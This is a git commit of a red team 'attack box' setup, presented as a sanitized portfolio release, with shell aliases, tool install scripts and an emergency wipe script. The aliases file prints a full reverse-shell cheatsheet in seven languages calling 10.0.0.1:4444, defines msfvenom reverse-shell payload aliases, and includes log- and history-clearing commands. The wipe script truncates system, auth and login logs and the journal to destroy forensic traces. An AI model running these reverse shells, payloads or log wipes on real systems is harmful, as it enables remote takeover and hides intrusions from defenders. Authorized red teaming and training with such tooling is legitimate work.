Initial public portfolio release

Sanitized version of red team infrastructure automation platform. Operational content (implant pipelines, lures, credential capture) replaced with documented stubs. Architecture and infrastructure automation code intact.
2026-06-23 16:12:14 -04:00
commit 0799bfbae8
239 changed files with 40012 additions and 0 deletions
@@ -0,0 +1,36 @@
+# Attack Box Configuration
+# ========================
+
+# Attack Box Setup Information
+ATTACK_BOX_VERSION="1.0.0"
+WORKSPACE_DIR="/root/operator"
+SCRIPTS_DIR="/root/operator/tools/scripts"
+TOOLS_DIR="/root/operator/tools"
+
+# Available Commands
+echo "Attack Box Commands:"
+echo "==================="
+echo "recon <target>          - Run reconnaissance automation"
+echo "portscan <target>       - Run port scan automation"  
+echo "webenum <target>        - Run web enumeration automation"
+echo "attack-menu             - Launch manual testing menu"
+echo "operator                 - Change to main directory"
+echo "mkoperator <name>        - Create new engagement structure"
+echo ""
+echo "Workspace Structure:"
+echo "==================="
+echo "~/operator/tools/        - All security tools and scripts"
+echo "~/operator/scans/        - All scan results organized by type"
+echo "~/operator/loot/         - Extracted data and credentials"
+echo "~/operator/targets/      - Target lists and reconnaissance"
+echo "~/operator/notes/        - Manual notes and observations"
+echo "~/operator/reports/      - Documentation and reporting"
+echo "~/operator/exploits/     - Working exploits and POCs"
+echo "~/operator/payloads/     - Custom payloads and shells"
+echo "~/operator/wordlists/    - Custom and downloaded wordlists"
+echo "~/operator/pcaps/        - Network captures and analysis"
+echo ""
+echo "Trashpanda-style Directory Structure:"
+echo "====================================="
+echo "The operator directory follows the exact structure as TrashPanda tool"
+echo "with organized subdirectories for different scan types and data."
@@ -0,0 +1,462 @@
+# OPSEC-Aware Shell Aliases for Attack Box
+# Clean configuration without identifiable information
+
+# ─── GENERAL ALIASES ─────────────────────────────────────────────────────────
+
+alias ll='ls -alFh --color=auto'
+alias la='ls -A --color=auto'
+alias l='ls -CF --color=auto'
+alias cls='clear'
+alias clr='clear'
+alias ..='cd ..'
+alias ...='cd ../..'
+alias ....='cd ../../..'
+alias grep='grep --color=auto'
+alias egrep='egrep --color=auto'
+alias fgrep='fgrep --color=auto'
+
+# File operations with safety
+alias cp='cp -i'
+alias mv='mv -i'
+alias rm='rm -i'
+
+# ─── OPSEC ALIASES ───────────────────────────────────────────────────────────
+
+# Network checks
+alias myip='curl -s ifconfig.me'
+alias checkip='curl -s https://ipinfo.io/ip'
+alias checkdns='cat /etc/resolv.conf'
+alias ports='netstat -tulanp'
+alias listen='lsof -i -P | grep LISTEN'
+alias estab='lsof -i -P | grep ESTABLISHED'
+
+# Process and connection monitoring
+alias checkcon='ss -tupan | grep ESTABLISHED'
+alias checklis='ss -tupan | grep LISTEN'
+alias checkproc='ps auxf | grep -v grep | grep'
+alias psg='ps aux | grep -v grep | grep -i'
+alias pscpu='ps auxf | sort -nr -k 3'
+alias psmem='ps auxf | sort -nr -k 4'
+
+# Emergency and cleanup
+alias panic='emergency-wipe.sh'
+alias emergency-wipe='emergency-wipe.sh'
+alias killcon='killall -9 openvpn ssh sshd nc ncat socat 2>/dev/null'
+alias clean='trash-cleanup.sh'
+alias opsec='opsec-check.sh'
+
+# Cleanup operations
+alias wipe-free='sudo sfill -v /'
+alias clear-logs='sudo find /var/log -type f -exec truncate -s 0 {} \;'
+alias clear-history='history -c && > ~/.bash_history && > ~/.zsh_history'
+alias clear-auth='sudo truncate -s 0 /var/log/auth.log'
+alias shred-file='shred -vfz -n 3'
+
+# Anonymity
+alias anon-on='sudo systemctl start tor && . torsocks on'
+alias anon-off='. torsocks off && sudo systemctl stop tor'
+alias check-tor='curl -s https://check.torproject.org/api/ip'
+
+# ─── NAVIGATION SHORTCUTS ────────────────────────────────────────────────────
+
+alias ops='cd ~/ops'
+alias targets='cd ~/ops/targets'
+alias loot='cd ~/ops/loot'
+alias logs='cd ~/ops/logs'
+alias reports='cd ~/ops/reports'
+alias shells='cd ~/ops/shells'
+alias mount='cd ~/ops/mount'
+alias tools='cd ~/tools'
+alias www='cd /var/www/html'
+alias tmp='cd /tmp'
+alias payloads='cd ~/ops/payloads'
+alias wordlists='cd ~/tools/wordlists'
+alias exploits='cd ~/ops/exploits'
+
+# ─── QUICK SERVERS ───────────────────────────────────────────────────────────
+
+alias serve='python3 -m http.server'
+alias serve80='sudo python3 -m http.server 80'
+alias servephp='php -S 0.0.0.0:8080'
+alias smbserv='impacket-smbserver share . -smb2support'
+alias ftpserv='python3 -m pyftpdlib -p 21 -w'
+
+# ─── REVERSE SHELL CATCHERS ──────────────────────────────────────────────────
+
+alias ncl='nc -nvlp'
+alias ncu='nc -nvu'
+alias socatl='socat TCP-LISTEN:$1,reuseaddr,fork -'
+alias rlwrapl='rlwrap nc -nvlp'
+
+# ─── SSH TUNNEL SHORTCUTS ────────────────────────────────────────────────────
+
+alias socks='function _socks() {
+    local config_name="$1"
+    local port="${2:-1080}"
+    
+    if [ -z "$config_name" ]; then
+        echo "Usage: socks <ssh-config-name> [port]"
+        return 1
+    fi
+    
+    # Kill existing proxy
+    lsof -ti:$port | xargs -r kill -9 2>/dev/null
+    
+    # Start SSH SOCKS proxy
+    ssh -D $port -N -f "$config_name" || return 1
+    
+    # Create temp profile
+    local temp_profile="/tmp/firefox-socks-$$"
+    mkdir -p "$temp_profile"
+    
+# Add proxy settings
+cat > "$temp_profile/user.js" << EOF
+user_pref("network.proxy.type", 1);
+user_pref("network.proxy.socks", "localhost");
+user_pref("network.proxy.socks_port", $port);
+user_pref("network.proxy.socks_version", 5);
+user_pref("network.proxy.socks_remote_dns", true);
+EOF
+    
+    # Use setsid to fully detach and preserve input
+    setsid firefox --profile "$temp_profile" --no-remote https://httpbin.org/ip &
+    
+    echo "✓ Firefox launched with SOCKS proxy"
+}; _socks'
+
+# Enhanced stop function
+alias socks-stop='function _socks_stop() {
+    local port="${1:-1080}"
+    
+    echo -n "Stopping SOCKS proxy on port $port... "
+    lsof -ti:$port | xargs -r kill -9 2>/dev/null && echo "OK" || echo "Not running"
+    
+    # Clean up temp profiles
+    rm -rf /tmp/firefox-socks-* 2>/dev/null
+}; _socks_stop'
+
+# Local port forwarding - Access remote service on local port
+# Usage: ssh-local 8080 target.com 80 user@jumpbox
+ssh-local() {
+    if [ $# -ne 4 ]; then
+        echo "Usage: ssh-local <local-port> <remote-host> <remote-port> <ssh-server>"
+        echo "Example: ssh-local 8080 10.10.10.1 80 user@jumpbox.com"
+        return 1
+    fi
+    echo "[*] Creating local tunnel: localhost:$1 -> $2:$3 via $4"
+    ssh -N -L $1:$2:$3 $4
+}
+
+# Remote port forwarding - Expose local service to remote
+# Usage: ssh-remote 8080 localhost 80 user@public-server  
+ssh-remote() {
+    if [ $# -ne 4 ]; then
+        echo "Usage: ssh-remote <remote-port> <local-host> <local-port> <ssh-server>"
+        echo "Example: ssh-remote 8080 localhost 80 user@public-server.com"
+        return 1
+    fi
+    echo "[*] Creating remote tunnel: $4:$1 -> $2:$3"
+    ssh -N -R $1:$2:$3 $4
+}
+
+# Dynamic SOCKS proxy
+# Usage: ssh-socks 1080 user@target
+ssh-socks() {
+    if [ $# -ne 2 ]; then
+        echo "Usage: ssh-socks <local-port> <ssh-server>"
+        echo "Example: ssh-socks 1080 user@target.com"
+        return 1
+    fi
+    echo "[*] Creating SOCKS proxy on port $1 via $2"
+    echo "[*] Configure browser/proxychains: socks5://127.0.0.1:$1"
+    ssh -N -D $1 $2
+}
+
+# Multi-hop SSH tunnel
+# Usage: ssh-multihop target.internal jumpbox.com
+ssh-multihop() {
+    if [ $# -ne 2 ]; then
+        echo "Usage: ssh-multihop <final-target> <jumpbox>"
+        echo "Example: ssh-multihop root@10.10.10.1 user@jumpbox.com"
+        return 1
+    fi
+    echo "[*] Connecting to $1 via $2"
+    ssh -J $2 $1
+}
+
+# ─── SSHFS MOUNT SHORTCUTS ───────────────────────────────────────────────────
+
+# Mount remote directory via SSHFS
+# Usage: ssh-mount user@host:/path /local/mount
+ssh-mount() {
+    if [ $# -ne 2 ]; then
+        echo "Usage: ssh-mount <user@host:/remote/path> <local-mount-point>"
+        echo "Example: ssh-mount root@target.com:/var/www ~/ops/mount/www"
+        return 1
+    fi
+    mkdir -p $2
+    echo "[*] Mounting $1 to $2"
+    sshfs -o allow_other,default_permissions $1 $2
+}
+
+# Unmount SSHFS
+# Usage: ssh-unmount /local/mount
+ssh-unmount() {
+    if [ $# -ne 1 ]; then
+        echo "Usage: ssh-unmount <local-mount-point>"
+        return 1
+    fi
+    echo "[*] Unmounting $1"
+    fusermount -u $1
+}
+
+# Mount with specific SSH key
+# Usage: ssh-mount-key user@host:/path /local/mount /path/to/key
+ssh-mount-key() {
+    if [ $# -ne 3 ]; then
+        echo "Usage: ssh-mount-key <user@host:/remote/path> <local-mount> <ssh-key>"
+        return 1
+    fi
+    mkdir -p $2
+    echo "[*] Mounting $1 to $2 using key $3"
+    sshfs -o allow_other,default_permissions,IdentityFile=$3 $1 $2
+}
+
+# ─── TOOL SHORTCUTS ──────────────────────────────────────────────────────────
+
+# Metasploit
+alias msf='msfconsole -q'
+alias msfup='msfupdate'
+alias msfrpc='msfrpcd -U msf -P msf -a 127.0.0.1'
+
+# Nmap shortcuts
+alias nmap-full='nmap -sC -sV -O -p- -T4'
+alias nmap-udp='sudo nmap -sU -sV --top-ports 1000'
+alias nmap-vuln='nmap -sV --script=vuln'
+alias nmap-smb='nmap -sV -p 445 --script=smb-enum-shares,smb-enum-users'
+
+# Tool updates
+alias update-tools='update-all-tools.sh'
+alias update-searchsploit='searchsploit -u'
+alias update-nmap-scripts='sudo nmap --script-updatedb'
+
+# Quick tool access
+alias kerb='kerbrute'
+alias responder='sudo responder -I eth0 -wFv'
+alias crack='crackmapexec'
+alias evil='evil-winrm -i'
+alias bloodhound-start='sudo neo4j start && bloodhound'
+
+# ─── ENCODING/DECODING ───────────────────────────────────────────────────────
+
+alias b64d='base64 -d'
+alias b64e='base64 -w 0'
+alias urldecode='python3 -c "import sys, urllib.parse as ul; print(ul.unquote(sys.stdin.read()))"'
+alias urlencode='python3 -c "import sys, urllib.parse as ul; print(ul.quote(sys.stdin.read()))"'
+alias hexdump='od -A x -t x1z -v'
+alias rot13='tr "A-Za-z" "N-ZA-Mn-za-m"'
+
+# ─── METASPLOIT PAYLOAD GENERATORS ───────────────────────────────────────────
+
+alias msfpayloads='msfvenom -l payloads'
+alias msfencoders='msfvenom -l encoders'
+alias winrev='msfvenom -p windows/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f exe -o shell.exe'
+alias linrev='msfvenom -p linux/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f elf -o shell.elf'
+alias phprev='msfvenom -p php/reverse_php LHOST=$1 LPORT=$2 -f raw -o shell.php'
+alias asprev='msfvenom -p windows/shell_reverse_tcp LHOST=$1 LPORT=$2 -f asp -o shell.asp'
+alias jsprev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f raw -o shell.jsp'
+alias warrev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f war -o shell.war'
+
+# ─── WORDLIST SHORTCUTS ──────────────────────────────────────────────────────
+
+alias rockyou='locate rockyou.txt | head -1'
+alias seclists='cd ~/tools/wordlists/SecLists'
+alias dirmedium='locate directory-list-2.3-medium.txt | head -1'
+alias submedium='locate subdomains-top1million-110000.txt | head -1'
+
+# ─── PROXYCHAINS ─────────────────────────────────────────────────────────────
+
+alias pc='proxychains4 -q'
+alias pcnmap='proxychains4 -q nmap -sT -Pn'
+
+# ─── CHISEL SHORTCUTS ────────────────────────────────────────────────────────
+
+alias chisel-server='chisel server -p 8000 --reverse'
+alias chisel-client='chisel client $1:8000 R:socks'
+
+# ─── QUICK FUNCTIONS ─────────────────────────────────────────────────────────
+
+# Extract various archive types
+extract() {
+    if [ -f $1 ]; then
+        case $1 in
+            *.tar.bz2)   tar xjf $1   ;;
+            *.tar.gz)    tar xzf $1   ;;
+            *.bz2)       bunzip2 $1   ;;
+            *.rar)       unrar x $1   ;;
+            *.gz)        gunzip $1    ;;
+            *.tar)       tar xf $1    ;;
+            *.tbz2)      tar xjf $1   ;;
+            *.tgz)       tar xzf $1   ;;
+            *.zip)       unzip $1     ;;
+            *.Z)         uncompress $1;;
+            *.7z)        7z x $1      ;;
+            *)           echo "'$1' cannot be extracted" ;;
+        esac
+    else
+        echo "'$1' is not a valid file"
+    fi
+}
+
+# Create backup of file
+backup() {
+    cp "$1" "${1}.$(date +%Y%m%d_%H%M%S).bak"
+}
+
+# Quick nmap scans
+quickscan() {
+    echo "[*] Quick scan of $1"
+    nmap -sV -sC -O -T4 -n -Pn -oA quickscan_$1 $1
+}
+
+fullscan() {
+    echo "[*] Full scan of $1"
+    nmap -sV -sC -O -T4 -n -Pn -p- -oA fullscan_$1 $1
+}
+
+udpscan() {
+    echo "[*] UDP scan of $1"
+    sudo nmap -sU -sV --top-ports 1000 -oA udpscan_$1 $1
+}
+
+# Reverse shell cheatsheet
+revshells() {
+    echo "===== Reverse Shell Cheatsheet ====="
+    echo "Bash:"
+    echo "  bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
+    echo ""
+    echo "Bash (alternative):"
+    echo "  0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196 >&196 2>&196"
+    echo ""
+    echo "Netcat:"
+    echo "  nc -e /bin/bash 10.0.0.1 4444"
+    echo "  nc -c bash 10.0.0.1 4444"
+    echo "  rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f"
+    echo ""
+    echo "Python:"
+    echo "  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"
+    echo ""
+    echo "Python3:"
+    echo "  python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"
+    echo ""
+    echo "PHP:"
+    echo "  php -r '\$sock=fsockopen(\"10.0.0.1\",4444);exec(\"/bin/bash <&3 >&3 2>&3\");'"
+    echo "  php -r '\$sock=fsockopen(\"10.0.0.1\",4444);shell_exec(\"/bin/bash <&3 >&3 2>&3\");'"
+    echo "  php -r '\$sock=fsockopen(\"10.0.0.1\",4444);\$proc=proc_open(\"/bin/bash\", array(0=>\$sock, 1=>\$sock, 2=>\$sock),\$pipes);'"
+    echo ""
+    echo "Perl:"
+    echo "  perl -e 'use Socket;\$i=\"10.0.0.1\";\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'"
+    echo ""
+    echo "Ruby:"
+    echo "  ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",4444).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'"
+    echo ""
+    echo "PowerShell:"
+    echo "  powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
+}
+
+# Upgrade shell
+upgradeshell() {
+    echo "===== Shell Upgrade Commands ====="
+    echo "Python:"
+    echo "  python -c 'import pty;pty.spawn(\"/bin/bash\")'"
+    echo "  python3 -c 'import pty;pty.spawn(\"/bin/bash\")'"
+    echo ""
+    echo "Script:"
+    echo "  script -q /dev/null -c bash"
+    echo ""
+    echo "Then:"
+    echo "  export TERM=xterm"
+    echo "  export SHELL=bash"
+    echo "  stty rows 24 cols 80"
+    echo ""
+    echo "Background with Ctrl+Z, then:"
+    echo "  stty raw -echo;fg"
+    echo ""
+    echo "For zsh shell:"
+    echo "  python3 -c 'import pty;pty.spawn(\"/bin/zsh\")'"
+}
+
+# Quick HTTP server with upload capability
+upload_server() {
+    echo "Starting upload server on port 8080..."
+    python3 -c 'import http.server,socketserver,cgi,os;os.chdir("/tmp");class SimpleHTTPRequestHandlerWithUpload(http.server.SimpleHTTPRequestHandler):
+ def do_POST(self):
+  if self.path=="/upload":
+   form=cgi.FieldStorage(fp=self.rfile,headers=self.headers,environ={"REQUEST_METHOD":"POST","CONTENT_TYPE":self.headers["Content-Type"]})
+   filename=form["file"].filename
+   data=form["file"].file.read()
+   with open(filename,"wb")as f:f.write(data)
+   self.send_response(200)
+   self.end_headers()
+   self.wfile.write(b"Upload successful")
+  else:self.send_error(404)
+httpd=socketserver.TCPServer(("",8080),SimpleHTTPRequestHandlerWithUpload);print("Upload server at http://0.0.0.0:8080/upload");httpd.serve_forever()'
+}
+
+# Check all running services
+checkservices() {
+    echo "===== Running Services ====="
+    systemctl list-units --type=service --state=running
+}
+
+# Download file to target
+download() {
+    if [ $# -ne 2 ]; then
+        echo "Usage: download <URL> <output-file>"
+        return 1
+    fi
+    echo "[*] Downloading $1 to $2"
+    curl -s -L "$1" -o "$2" || wget -q "$1" -O "$2"
+}
+
+# Git shortcuts
+alias gs='git status'
+alias ga='git add'
+alias gc='git commit -m'
+alias gp='git push'
+alias gl='git log --oneline'
+alias gd='git diff'
+
+# Docker shortcuts
+alias dps='docker ps'
+alias dpsa='docker ps -a'
+alias dimg='docker images'
+alias dexec='docker exec -it'
+alias dlog='docker logs'
+alias dstop='docker stop $(docker ps -q)'
+alias drm='docker rm $(docker ps -a -q)'
+alias drmi='docker rmi $(docker images -q)'
+
+# ─── VIRTUAL ENVIRONMENT ALIASES ───────────────────────────────────────────────────────────
+
+alias venv-create='python3 -m venv venv; source venv/bin/activate; pip install -r requirements.txt'
+alias venv-activate='source venv/bin/activate'
+
+# ─── BURP PROXY ALIASES ───────────────────────────────────────────────────────────
+
+alias burp_proxy='export https_proxy=http://127.0.0.1:8080; export http_proxy=$https_proxy; export NO_PROXY=169.254.169.254; echo "Burp proxy enabled: $http_proxy"'
+alias disable_burp_proxy='unset https_proxy; unset http_proxy; unset NO_PROXY; echo "Burp proxy disabled"'
+
+# ─── RED TEAM VPN MONITORING ──────────────────────────────────────────────
+
+# Safe OPSEC status check
+alias opsec-status='echo "🔍 OPSEC Status:"; echo "VPN: $(pgrep openvpn > /dev/null && echo "🔒 Connected" || echo "❌ Disconnected")"; echo "Tor: $(systemctl is-active tor 2>/dev/null | grep -q active && echo "🔒 Active" || echo "❌ Inactive")"; echo "IP: $(curl -s --max-time 2 ifconfig.me || echo "Check failed")"'
+
+# Network status for red team ops
+alias net-status='echo "=== Network Status ==="; ip route | grep -E "tun|tor|vpn" || echo "No VPN/Tor interfaces"; echo ""; echo "=== External IP ==="; curl -s --max-time 3 ifconfig.me || echo "IP check failed"'
+
+# Quick OPSEC check
+alias quick-opsec='opsec-status && echo "" && echo "=== Connections ===" && ss -tupln | grep -E ":443|:9050|:1080" | head -5'
+
+# Tool paths
+export PATH=$PATH:~/tools:~/.cargo/bin:~/go/bin:/usr/local/bin
@@ -0,0 +1,87 @@
+#!/bin/bash
+# Emergency Wipe Script for OPSEC
+# Quickly sanitizes system for emergency situations
+
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+NC='\033[0m'
+
+echo -e "${RED}=== EMERGENCY SANITIZATION PROTOCOL ===${NC}"
+echo -e "${YELLOW}This will clear sensitive data and logs${NC}"
+echo ""
+
+# Confirm emergency wipe
+read -p "Are you sure you want to proceed? (type YES): " CONFIRM
+if [ "$CONFIRM" != "YES" ]; then
+    echo -e "${GREEN}Emergency wipe cancelled${NC}"
+    exit 0
+fi
+
+echo -e "${RED}[*] Beginning emergency sanitization...${NC}"
+
+# Clear command history
+echo -e "${YELLOW}[*] Clearing command history${NC}"
+history -c
+> ~/.bash_history
+> ~/.zsh_history
+> ~/.python_history
+> ~/.mysql_history
+> ~/.psql_history
+
+# Clear system logs
+echo -e "${YELLOW}[*] Clearing system logs${NC}"
+sudo find /var/log -type f -exec truncate -s 0 {} \; 2>/dev/null
+sudo truncate -s 0 /var/log/auth.log 2>/dev/null
+sudo truncate -s 0 /var/log/syslog 2>/dev/null
+sudo truncate -s 0 /var/log/kern.log 2>/dev/null
+
+# Clear temporary files
+echo -e "${YELLOW}[*] Clearing temporary files${NC}"
+sudo rm -rf /tmp/* 2>/dev/null
+sudo rm -rf /var/tmp/* 2>/dev/null
+rm -rf ~/.cache/* 2>/dev/null
+
+# Clear SSH known hosts
+echo -e "${YELLOW}[*] Clearing SSH artifacts${NC}"
+> ~/.ssh/known_hosts
+sudo truncate -s 0 /var/log/btmp 2>/dev/null
+sudo truncate -s 0 /var/log/wtmp 2>/dev/null
+sudo truncate -s 0 /var/log/lastlog 2>/dev/null
+
+# Clear network traces
+echo -e "${YELLOW}[*] Clearing network artifacts${NC}"
+sudo ip neigh flush all 2>/dev/null
+
+# Clear DNS cache
+echo -e "${YELLOW}[*] Clearing DNS cache${NC}"
+sudo systemctl restart systemd-resolved 2>/dev/null
+
+# Clear browser data if present
+echo -e "${YELLOW}[*] Clearing browser data${NC}"
+rm -rf ~/.mozilla/firefox/*/sessionstore* 2>/dev/null
+rm -rf ~/.mozilla/firefox/*/cookies.sqlite 2>/dev/null
+rm -rf ~/.config/google-chrome/Default/History 2>/dev/null
+rm -rf ~/.config/google-chrome/Default/Cookies 2>/dev/null
+
+# Secure delete free space (optional - takes time)
+read -p "Perform secure free space wipe? (y/N): " WIPE_FREE
+if [ "$WIPE_FREE" = "y" ] || [ "$WIPE_FREE" = "Y" ]; then
+    echo -e "${YELLOW}[*] Securely wiping free space (this may take a while)${NC}"
+    dd if=/dev/urandom of=/tmp/wipe_file bs=1M 2>/dev/null || true
+    rm -f /tmp/wipe_file 2>/dev/null
+fi
+
+# Clear systemd journal
+echo -e "${YELLOW}[*] Clearing systemd journal${NC}"
+sudo journalctl --vacuum-time=1s 2>/dev/null
+
+# Final cleanup
+echo -e "${YELLOW}[*] Final cleanup${NC}"
+sync
+sudo updatedb 2>/dev/null
+
+echo ""
+echo -e "${GREEN}=== EMERGENCY SANITIZATION COMPLETE ===${NC}"
+echo -e "${YELLOW}Consider rebooting the system for maximum effectiveness${NC}"
+echo -e "${RED}WARNING: This does not guarantee complete data removal${NC}"
@@ -0,0 +1,122 @@
+#!/bin/bash
+# Attack Box - Git Repositories Cloning Script
+# Clones security tool repositories with enhanced feedback
+
+# Get OPERATOR_DIR from environment or use default
+OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
+
+echo "================================================================"
+echo "GIT REPOSITORIES CLONING STARTED"
+echo "================================================================"
+
+REPOS=(
+  "https://github.com/SecureAuthCorp/impacket.git"
+  "https://github.com/danielmiessler/SecLists.git"
+  "https://github.com/swisskyrepo/PayloadsAllTheThings.git"
+  "https://github.com/fuzzdb-project/fuzzdb.git"
+  "https://github.com/1N3/Sn1per.git"
+  "https://github.com/maurosoria/dirsearch.git"
+  "https://github.com/OJ/gobuster.git"
+  "https://github.com/aboul3la/Sublist3r.git"
+  "https://github.com/laramies/theHarvester.git"
+  "https://github.com/Tib3rius/AutoRecon.git"
+  "https://github.com/carlospolop/PEASS-ng.git"
+  "https://github.com/rebootuser/LinEnum.git"
+  "https://github.com/mzet-/linux-exploit-suggester.git"
+  "https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git"
+  "https://github.com/PowerShellMafia/PowerSploit.git"
+  "https://github.com/BloodHoundAD/BloodHound.git"
+  "https://github.com/EmpireProject/Empire.git"
+  "https://github.com/cobbr/Covenant.git"
+  "https://github.com/byt3bl33d3r/CrackMapExec.git"
+  "https://github.com/Hackplayers/evil-winrm.git"
+)
+
+REPO_NAMES=(
+  "impacket-dev"
+  "SecLists"
+  "PayloadsAllTheThings"
+  "fuzzdb"
+  "Sn1per"
+  "dirsearch-dev"
+  "gobuster-dev"
+  "Sublist3r"
+  "theHarvester-dev"
+  "AutoRecon"
+  "PEASS-ng"
+  "LinEnum"
+  "linux-exploit-suggester"
+  "Windows-Exploit-Suggester"
+  "PowerSploit"
+  "BloodHound"
+  "Empire"
+  "Covenant"
+  "CrackMapExec-dev"
+  "evil-winrm"
+)
+
+TOTAL=${#REPOS[@]}
+CURRENT=0
+FAILED=0
+SUCCESS=0
+
+# Create git directory if it doesn't exist
+mkdir -p "$OPERATOR_DIR/tools/git"
+cd "$OPERATOR_DIR/tools/git"
+
+for i in "${!REPOS[@]}"; do
+  CURRENT=$((CURRENT + 1))
+  repo="${REPOS[$i]}"
+  name="${REPO_NAMES[$i]}"
+  
+  echo ""
+  echo "[$CURRENT/$TOTAL] Cloning $name..."
+  echo "Repository: $repo"
+  echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
+  echo "Started: $(date '+%H:%M:%S')"
+  
+  if [ -d "$name" ]; then
+    echo "Repository $name already exists, updating..."
+    cd "$name"
+    if timeout 300 git pull origin main 2>/dev/null || timeout 300 git pull origin master 2>/dev/null; then
+      SUCCESS=$((SUCCESS + 1))
+      echo "✓ $name updated successfully"
+    else
+      FAILED=$((FAILED + 1))
+      echo "✗ $name update failed"
+    fi
+    cd ..
+  else
+    if timeout 300 git clone --depth 1 "$repo" "$name" 2>&1 | while read line; do echo "[GIT] $line"; done; then
+      if [ -d "$name" ]; then
+        SUCCESS=$((SUCCESS + 1))
+        echo "✓ $name cloned successfully"
+        echo "Size: $(du -sh "$name" | cut -f1)"
+      else
+        FAILED=$((FAILED + 1))
+        echo "✗ $name directory not found after clone"
+      fi
+    else
+      FAILED=$((FAILED + 1))
+      echo "✗ $name clone failed or timed out"
+    fi
+  fi
+  
+  echo "Completed: $(date '+%H:%M:%S')"
+  echo "Status: $SUCCESS successful, $FAILED failed"
+  echo "Remaining: $(( TOTAL - CURRENT )) repositories"
+  echo "================================================================"
+done
+
+echo ""
+echo "GIT REPOSITORIES CLONING SUMMARY:"
+echo "================================="
+echo "Total attempted: $TOTAL"
+echo "Successful: $SUCCESS"
+echo "Failed: $FAILED"
+echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
+echo ""
+echo "Cloned repositories:"
+ls -la "$OPERATOR_DIR/tools/git/" | head -20
+
+exit 0
@@ -0,0 +1,104 @@
+#!/bin/bash
+# Attack Box - Go Tools Installation Script
+# Installs security tools via go install with enhanced feedback
+
+# Get OPERATOR_DIR from environment or use default
+OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
+
+export GOPATH="$OPERATOR_DIR/tools/go"
+export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
+mkdir -p "$GOPATH"
+
+echo "================================================================"
+echo "GO TOOLS INSTALLATION STARTED"
+echo "================================================================"
+echo "Installing Go tools to $GOPATH/bin..."
+echo "Each tool has a 5-minute timeout"
+echo "================================================================"
+
+GO_TOOLS=(
+  "github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest"
+  "github.com/projectdiscovery/httpx/cmd/httpx@latest"
+  "github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest"
+  "github.com/projectdiscovery/naabu/v2/cmd/naabu@latest"
+  "github.com/projectdiscovery/dnsx/cmd/dnsx@latest"
+  "github.com/projectdiscovery/katana/cmd/katana@latest"
+  "github.com/tomnomnom/waybackurls@latest"
+  "github.com/tomnomnom/assetfinder@latest"
+  "github.com/tomnomnom/httprobe@latest"
+  "github.com/tomnomnom/gf@latest"
+  "github.com/lc/gau/v2/cmd/gau@latest"
+  "github.com/hakluke/hakrawler@latest"
+  "github.com/ropnop/kerbrute@latest"
+)
+
+TOOL_NAMES=(
+  "subfinder"
+  "httpx"
+  "nuclei"
+  "naabu"
+  "dnsx"
+  "katana"
+  "waybackurls"
+  "assetfinder"
+  "httprobe"
+  "gf"
+  "gau"
+  "hakrawler"
+  "kerbrute"
+)
+
+TOTAL=${#GO_TOOLS[@]}
+CURRENT=0
+FAILED=0
+SUCCESS=0
+
+for i in "${!GO_TOOLS[@]}"; do
+  CURRENT=$((CURRENT + 1))
+  tool="${GO_TOOLS[$i]}"
+  name="${TOOL_NAMES[$i]}"
+  
+  echo ""
+  echo "[$CURRENT/$TOTAL] Installing $name..."
+  echo "Repository: $tool"
+  echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
+  echo "Started: $(date '+%H:%M:%S')"
+  echo "Working directory: $GOPATH"
+  
+  if timeout 300 bash -c "go install -v $tool 2>&1 | while read line; do echo '[GO] $line'; done"; then
+    if [ -f "$GOPATH/bin/$name" ]; then
+      SUCCESS=$((SUCCESS + 1))
+      echo "✓ $name installed successfully at $GOPATH/bin/$name"
+      ls -la "$GOPATH/bin/$name"
+    else
+      FAILED=$((FAILED + 1))
+      echo "✗ $name binary not found after installation"
+    fi
+  else
+    FAILED=$((FAILED + 1))
+    echo "✗ $name installation failed or timed out"
+  fi
+  
+  echo "Completed: $(date '+%H:%M:%S')"
+  echo "Status: $SUCCESS successful, $FAILED failed"
+  echo "Remaining: $(( TOTAL - CURRENT )) tools"
+  echo "================================================================"
+done
+
+echo ""
+echo "GO TOOLS INSTALLATION SUMMARY:"
+echo "=============================="
+echo "Total attempted: $TOTAL"
